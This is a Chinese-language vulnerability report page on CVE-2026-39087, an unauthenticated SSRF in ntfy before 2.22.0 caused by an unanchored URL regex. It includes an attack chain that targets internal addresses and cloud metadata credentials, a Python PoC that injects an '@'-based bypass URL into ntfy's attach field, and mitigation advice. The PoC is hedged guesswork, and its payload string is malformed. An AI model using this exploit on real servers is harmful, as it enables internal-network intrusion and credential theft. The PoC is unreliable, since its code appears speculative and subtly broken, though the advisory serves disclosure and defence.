IPBUF安全漏洞报告
English
CVE-2026-39087 CVSS 9.8 严重

CVE-2026-39087 ntfy SSRF漏洞

披露日期: 2026-04-23

漏洞信息

漏洞编号
CVE-2026-39087
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ntfy

相关标签

SSRFntfyCVE-2026-39087未授权访问内网渗透

漏洞概述

ntfy是一个基于HTTP的简单发布/订阅通知服务。在2.22.0版本之前,该软件存在一个严重的SSRF(服务端请求伪造)漏洞。该漏洞的根本原因是用于验证URL的正则表达式未锚定,导致验证逻辑存在缺陷。攻击者可以利用此漏洞绕过安全限制,诱导服务器向内部网络或受限制的端点发送恶意HTTP请求。由于无需用户交互且无需认证,远程攻击者可利用此漏洞探测内网端口、访问云元数据服务或对内部系统发起攻击,造成敏感信息泄露或进一步的内网渗透。

技术细节

该漏洞源于ntfy在处理特定URL参数(如附件地址或Webhook URL)时,使用了不安全的正则表达式进行校验。具体而言,开发者在编写正则表达式时未使用起始(^)和结束($)锚定符,导致匹配逻辑仅检查字符串中是否包含特定模式,而非完全匹配。攻击者可以通过构造特殊的Payload(例如利用`@`符号分隔符,如`http://[email protected]`)来绕过原有的域名/IP限制检查。一旦绕过验证,攻击者即可控制ntfy服务器向目标地址(如127.0.0.1、169.254.169.254等内网敏感地址)发起HTTP请求。由于ntfy服务通常运行在公网,且该漏洞无需认证即可利用,攻击者可利用此作为跳板,对服务器所在的内网环境进行端口扫描、窃取云平台元数据(如AWS IAM凭证)或攻击内部未授权的Web服务,从而造成严重的机密性、完整性和可用性风险。

攻击链分析

STEP 1
1. 信息收集
攻击者扫描网络或利用搜索引擎发现暴露在公网的ntfy服务实例,并识别其版本号低于2.22.0。
STEP 2
2. 构造Payload
利用未锚定正则表达式的缺陷,构造包含内网IP地址但能通过表面校验的特殊URL(例如 http://[email protected])。
STEP 3
3. 发送恶意请求
向ntfy服务的发布端点发送HTTP请求,在请求参数(如attach或url)中注入构造好的恶意Payload。
STEP 4
4. 服务端请求伪造
ntfy服务器接收到请求后,由于正则校验不严格,错误地将请求发送至攻击者指定的内网地址(如元数据服务或内部管理接口)。
STEP 5
5. 数据泄露或利用
攻击者根据ntfy服务器的响应时间或返回内容,获取内网敏感信息,或利用该漏洞进一步攻击内网其他系统。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target vulnerable ntfy instance (replace with actual target) target_url = "http://localhost:80/mytopic" # Payload designed to bypass unanchored regex validation. # Example: Using '@' to confuse the parser or bypass blocklists. # The regex might check for 'trusted.com' but unanchored allows 'trusted.com@internal_ip'. internal_target = "http://127.0.0.1:80/admin" bypass_payload = f"http://trusted-site.com@{internal_target}" headers = { "User-Agent": "CVE-2026-39087-Test" } # In ntfy, SSRF often triggers via attachment URL or webhook features. # Here we simulate a request that includes the malicious URL. data = { "message": "SSRF Test", "attach": bypass_payload # Triggering the vulnerable attachment fetch logic } try: response = requests.post(target_url, json=data, headers=headers) print(f"[+] Request sent to {target_url}") print(f"[+] Payload used: {bypass_payload}") print(f"[+] Response Status: {response.status_code}") if response.status_code == 200: print("[+] Potential SSRF successful. Check internal server logs.") except Exception as e: print(f"[-] Error: {e}")

影响范围

ntfy < 2.22.0

防御指南

临时缓解措施
建议尽快将服务更新到修复版本。在无法立即升级的情况下,应通过防火墙或安全组严格限制服务器的出站网络连接,防止其被利用访问内网敏感资源(如127.0.0.1、169.254.169.254等),并关闭无需认证的匿名发布功能以降低攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表